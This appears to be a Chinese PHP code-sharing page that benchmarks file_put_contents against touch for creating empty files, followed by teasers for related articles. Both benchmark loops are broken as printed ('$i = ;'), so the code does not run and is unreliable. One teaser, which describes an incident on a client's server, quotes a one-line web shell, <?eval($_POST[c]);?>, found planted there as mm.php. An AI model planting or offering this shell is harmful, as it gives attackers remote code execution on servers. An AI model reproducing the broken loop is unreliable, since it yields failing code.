PHP中创建空文件的代码[file_put_contents vs touch]

yipeiwu_com6年前PHP代码库
I has passed a small test to check which function is faster to create a new file.

file_put_contents vs touch
复制代码 代码如下:

<?php
for($i = ; $i < 100; $i++)
{
file_put_contents('dir/file'.$i, '');
}
?>

Average time: 0,1145s
复制代码 代码如下:

<?php
for($i = ; $i < 100; $i++)
{
touch('dir/file'.$i);
}
?>

Average time: 0,2322s

所以,file_put_contentstouch快,大约两倍。

相关文章

一个简单安全的PHP验证码类 附调用方法

一个简单安全的PHP验证码类 附调用方法

一、验证码示例 二、php验证码类,secoder.class.php <?php /** * 安全验证码 * * 安全的验证码要:验证码文字扭曲、旋转,...

PHP实现批量检测网站是否能够正常打开的方法

PHP实现批量检测网站是否能够正常打开的方法

本文实例讲述了PHP实现批量检测网站是否能够正常打开的方法。分享给大家供大家参考,具体如下: curl_setopt函数是php中一个重要的函数,它可以模仿用户的一些行为,如模仿用户登录...

PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

今天一个客户的服务器频繁被写入: mm.php 内容为: 复制代码 代码如下: <?eval($_POST[c]);?> 最后查到某文件内的第一行为以下代码: 复制代码 代...

php实现图片转换成ASCII码的方法

本文实例讲述了php实现图片转换成ASCII码的方法。分享给大家供大家参考。具体如下: php图片转换成ASCII码,转换后可以直接通过字符串显示图片 <html> &...

php 深入理解strtotime函数的使用详解

在前面的<如何使用PHP计算上一个月的今天>一文中, 我们提到strtotime函数在使用strtotime(”-1 month”)求上一个月的今天时会出一些状况,因此也引出...